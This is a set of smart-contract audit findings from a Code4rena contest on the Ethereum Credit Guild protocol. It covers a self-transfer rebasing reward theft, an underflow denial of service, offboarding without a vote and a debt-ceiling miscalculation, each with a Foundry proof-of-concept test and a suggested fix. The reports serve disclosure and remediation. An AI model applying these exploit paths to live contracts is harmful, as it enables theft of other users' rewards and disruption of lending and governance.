Ethereum Credit Guild - SpicyMeatball's results

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/ERC20RebaseDistributor.sol#L560 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/ERC20RebaseDistributor.sol#L654

Vulnerability details

Impact

Sending tokens to yourself while being in the rebase mode allows users to double their rebasing reward, essentially stealing other users rewards and messing their balances.

Proof of Concept

The problem is that we read rebasing states of the sender and the receiver before the transfer,

    function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        // if `from` is rebasing, materialize the tokens from rebase to ensure
        // proper behavior in `ERC20.transfer()`.
        RebasingState memory rebasingStateFrom = rebasingState[msg.sender];
        RebasingState memory rebasingStateTo = rebasingState[to];

thus in case of self transfer rebasingStateTo value won't be affected and will be used in further calculations.

        if (rebasingStateTo.isRebasing == 1) {
            // compute rebased balance
            uint256 rawToBalanceAfter = ERC20.balanceOf(to);
            uint256 toBalanceAfter = _shares2balance(
                rebasingStateTo.nShares,
                _rebasingSharePrice,
                amount,
                rawToBalanceAfter
            );

Check this test case for ERC20RebaseDistributor.t.sol

    function testSelfie() public {
        address bob = makeAddr("Bob");

        // premint
        token.mint(alice, 100 ether);
        token.mint(bob, 100 ether);
        token.mint(address(this), 10000 ether);

        vm.prank(alice);
        token.enterRebase();

        vm.prank(bob);
        token.enterRebase();

        // distribute 100 tokens
        // Alice and Bob should receive 50 tokens each, right?
        token.distribute(100 ether);
        vm.warp(block.timestamp + 30 days);

        vm.startPrank(alice);
        token.transfer(alice, 50 ether);
        console.log("ALICE BAL: ", token.balanceOf(alice));
        // Alice gets all the rebasing reward
        token.exitRebase();
        assertEq(token.balanceOf(alice), 200 ether);
        vm.stopPrank();

        // although  Bob's balance is 150
        // he can't do anything with his tokens
        console.log("BOB BAL: ", token.balanceOf(bob));
        vm.prank(bob);
        vm.expectRevert();
        token.exitRebase();
    }

Tools Used

Foundry

Recommended Mitigation Steps

Read RebasingState memory rebasingStateTo = rebasingState[to]; from the storage after the transfer OR disable transfers if from == to

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/ProfitManager.sol#L172-L176 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/LendingTerm.sol#L379-L380

Vulnerability details

Impact

User can mint credit tokens in the SimplePSM contract

    function mint(
        address to,
        uint256 amountIn
    ) external whenNotPaused returns (uint256 amountOut) {
        amountOut = getMintAmountOut(amountIn);
        pegTokenBalance += amountIn;
        ERC20(pegToken).safeTransferFrom(msg.sender, address(this), amountIn);
        CreditToken(credit).mint(to, amountOut);
        emit Mint(block.timestamp, to, amountIn, amountOut);
    }

and then burn them making totalBorrowedCredit to underflow

    function totalBorrowedCredit() external view returns (uint256) {
        return
            CreditToken(credit).targetTotalSupply() -
            SimplePSM(psm).redeemableCredit();
    }

Since we use totalBorrowedCredit function in borrowing operations users won't be able to use protocol terms .

Proof of Concept

The protocol uses totalBorrowedCredit value to assess debt across multiple terms, it is basically amount of credit tokens that we can redeem for collateral in SimplePSM subtracted from the credit total supply. We can inflate redeemableCredit while simultaneously decreasing targetTotalSupply by minting tokens in SimplePSM and burning them. If we manage to burn more tokens that were borrowed, redeemableCredit will be greater than targetTotalSupply and totalBorrowedCredit will underflow.

Test case for LendingTerm.t.sol , set psm as MINTER in setUp

       core.grantRole(CoreRoles.CREDIT_MINTER, address(psm));

   function testCantBorrow() public {
        address mal = makeAddr("Mal");
        // prepare & borrow
        uint256 borrowAmount = 1_000e18;
        uint256 collateralAmount = 1_000e18;
        collateral.mint(address(this), collateralAmount);
        collateral.mint(mal, collateralAmount + 1);
        collateral.approve(address(term), type(uint256).max);

        bytes32 loanId = term.borrow(borrowAmount, collateralAmount);
        
        vm.startPrank(mal);
        // mint tokens in PSM and burn them, to stop borrowing operations we need to burn
        // totalBorrowedCredit + 1 = 1001
        collateral.approve(address(psm), collateralAmount + 1);
        psm.mint(mal, borrowAmount + 1);
        credit.burn(borrowAmount + 1);
        vm.stopPrank();
        // no more borrows
        // revert with underflow
        vm.warp(block.timestamp + 1);
        collateral.mint(address(this), collateralAmount);
        loanId = term.borrow(borrowAmount, collateralAmount);
    }
```

## Tools Used
Foundry

## Recommended Mitigation Steps
Add a BURNER_ROLE so only authorized addresses can burn credit tokens.


## Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/LendingTermOffboarding.sol#L154 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/LendingTermOffboarding.sol#L197

Vulnerability details

Impact

There can be a situation where an offboarded term has been re-onboarded without a cleanup, that term can be offboarded instantly, without a 7 day vote.

Proof of Concept

In order to offboard a term users need to start a 7 day voting in the LendingTermOffboarding.sol, after it succeeded we set canOffboard[term] = true https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/LendingTermOffboarding.sol#L139 and anyone can call offboard function to remove the gauge from the active list https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/LendingTermOffboarding.sol#L153

    function offboard(address term) external whenNotPaused {
        require(canOffboard[term], "LendingTermOffboarding: quorum not met");

        // update protocol config
        // this will revert if the term has already been offboarded
        // through another mean.
        GuildToken(guildToken).removeGauge(term);

        // pause psm redemptions
        if (
            nOffboardingsInProgress++ == 0 &&
            !SimplePSM(psm).redemptionsPaused()
        ) {
            SimplePSM(psm).setRedemptionsPaused(true);
        }

        emit Offboard(block.timestamp, term);
    }

Later this gauge can be re-onboarded with the LendingTermOnboarding.sol, unfortunately canOffboard flag isn't reset for the re-onboarded term and it can be offboarded again by anyone without a vote. To set this flag to false we need to execute a cleanup function https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/LendingTermOffboarding.sol#L197 but this requirement indicates that it is not necessary to call this function if we plan to re-onboard the term https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/LendingTermOffboarding.sol#L181-L184 It is worth noting that the nOffboardingsInProgress counter is also not updated, which can create problems with following requirement in the future https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/LendingTermOffboarding.sol#L191-L195

Check this test case for LendingTermOffboarding.t.sol

    function testInstantOffboardAfterReonboard() public {
        // prepare (1)
        guild.mint(bob, _QUORUM);
        vm.startPrank(bob);
        guild.delegate(bob);
        uint256 snapshotBlock = block.number;
        offboarder.proposeOffboard(address(term));
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);
        offboarder.supportOffboard(snapshotBlock, address(term));
        offboarder.offboard(address(term));
        vm.stopPrank();

        // re-onboard
        guild.addGauge(1, address(term));

        // offboard without voting
        offboarder.offboard(address(term));
    }

Tools Used

Foundry

Recommended Mitigation Steps

Set canOffboard[term] to false and decrement nOffboardingsInProgress if the gauge was previously removed

Assessed type

Governance

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/GuildToken.sol#L224-L231 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/LendingTerm.sol#L287-L292

Vulnerability details

Impact

Incorrect debtCeiling value will prevent users from withdrawing Guild tokens out of the gauge.

Proof of Concept

If there is a loan in the gauge and user wants to decrement the weight, we need to check it's ceiling first, https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/GuildToken.sol#L224-L231

        // check if gauge is currently using its allocated debt ceiling.
        // To decrement gauge weight, guild holders might have to call loans if the debt ceiling is used.
        uint256 issuance = LendingTerm(gauge).issuance();
        if (issuance != 0) {
            uint256 debtCeilingAfterDecrement = LendingTerm(gauge).debtCeiling(-int256(weight));
            require(
                issuance <= debtCeilingAfterDecrement,
                "GuildToken: debt ceiling used"
            );
        }

ensuring that loans are distributed between the gauges according to their weights and tolerance. This only matters if there are multiple gauges of the same type. If there is only one gauge ceiling is only limited by the hardcap and the minter buffer. https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/LendingTerm.sol#L287

        } else if (gaugeWeight == totalWeight) {
            // one gauge, unlimited debt ceiling
            // returns min(hardCap, creditMinterBuffer)
            return
                _hardCap < creditMinterBuffer ? _hardCap : creditMinterBuffer;
        }

Unfortunately debtCeiling(int256 gaugeWeightDelta) applies delta only to the gaugeWeight leaving totalWeight as is https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/LendingTerm.sol#L270

    function debtCeiling(
        int256 gaugeWeightDelta
    ) public view returns (uint256) {
        address _guildToken = refs.guildToken; // cached SLOAD
        uint256 gaugeWeight = GuildToken(_guildToken).getGaugeWeight(
            address(this)
        );
        gaugeWeight = uint256(int256(gaugeWeight) + gaugeWeightDelta);
        uint256 gaugeType = GuildToken(_guildToken).gaugeType(address(this));
        uint256 totalWeight = GuildToken(_guildToken).totalTypeWeight(
            gaugeType
        );

Check this test case for GuildToken.t.sol , where user is unable to withdraw tokens from the gauge even it it's the only gauge of it's type and ceiling should be "unlimited"

modify debtCeiling to act like a LendingTerm https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/test/unit/tokens/GuildToken.t.sol#L27

    function debtCeiling(int256 gaugeWeightDelta) public view returns (uint256) {
        uint256 gaugeWeight = token.getGaugeWeight(address(this));
        gaugeWeight = uint256(int256(gaugeWeight) + gaugeWeightDelta);
        uint256 gaugeType = token.gaugeType(address(this));
        uint256 totalWeight = token.totalTypeWeight(gaugeType);
        if (gaugeWeight == 0) {
            return 0; // no gauge vote, 0 debt ceiling
        } else if (gaugeWeight == totalWeight) {
            // one gauge, unlimited debt ceiling
            // return unlimited
            return 1_000_000 ether;
        }
        uint256 _issuance = issuance; // cached SLOAD
        uint256 totalBorrowedCredit = credit.totalSupply();
        uint256 gaugeWeightTolerance = 1e18;
        if (totalBorrowedCredit == 0 && gaugeWeight != 0) {
            // first-ever CREDIT mint on a non-zero gauge weight term
            // does not check the relative debt ceilings
            return 1_000_000 ether;
        }
        uint256 toleratedGaugeWeight = (gaugeWeight * gaugeWeightTolerance) /
            1e18;
        uint256 debtCeilingBefore = (totalBorrowedCredit *
            toleratedGaugeWeight) / totalWeight;
        if (_issuance >= debtCeilingBefore) {
            return debtCeilingBefore; // no more borrows allowed
        }
        uint256 remainingDebtCeiling = debtCeilingBefore - _issuance; // always >0
        if (toleratedGaugeWeight >= totalWeight) {
            // if the gauge weight is above 100% when we include tolerance,
            // the gauge relative debt ceilings are not constraining.
            return 1_000_000 ether;
        }
        uint256 otherGaugesWeight = totalWeight - toleratedGaugeWeight; // always >0
        uint256 maxBorrow = (remainingDebtCeiling * totalWeight) /
            otherGaugesWeight;
        uint256 _debtCeiling = _issuance + maxBorrow;
        // return min(creditMinterBuffer, hardCap, debtCeiling)
        if (1_000_000 ether < _debtCeiling) {
            return 1_000_000 ether;
        }
        return _debtCeiling;
    }

run the test

    function testDebtCeilingOneGauge() public {
        // grant roles to test contract
        vm.startPrank(governor);
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_REMOVE, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        vm.stopPrank();

        // setup
        token.mint(alice, 100e18);

        token.setMaxGauges(3);
        token.addGauge(1, address(this));

        vm.startPrank(alice);
        token.incrementGauge(address(this), 10e18);
        vm.stopPrank();

        credit.mint(alice, 100e18);
        issuance = 100e18;

        vm.prank(alice);
        // will revert with "GuildToken: debt ceiling used"
        token.decrementGauge(address(this), 8e18);
    }

Tools Used

Foundry

Recommended Mitigation Steps

Apply delta to totalWeight as well https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/LendingTerm.sol#L270

    function debtCeiling(
        int256 gaugeWeightDelta
    ) public view returns (uint256) {
        address _guildToken = refs.guildToken; // cached SLOAD
        uint256 gaugeWeight = GuildToken(_guildToken).getGaugeWeight(
            address(this)
        );
        gaugeWeight = uint256(int256(gaugeWeight) + gaugeWeightDelta);
        uint256 gaugeType = GuildToken(_guildToken).gaugeType(address(this));
        uint256 totalWeight = GuildToken(_guildToken).totalTypeWeight(
           gaugeType
        );
+     totalWeight = uint256(int256(totalWeight) + gaugeWeightDelta);

Assessed type

Math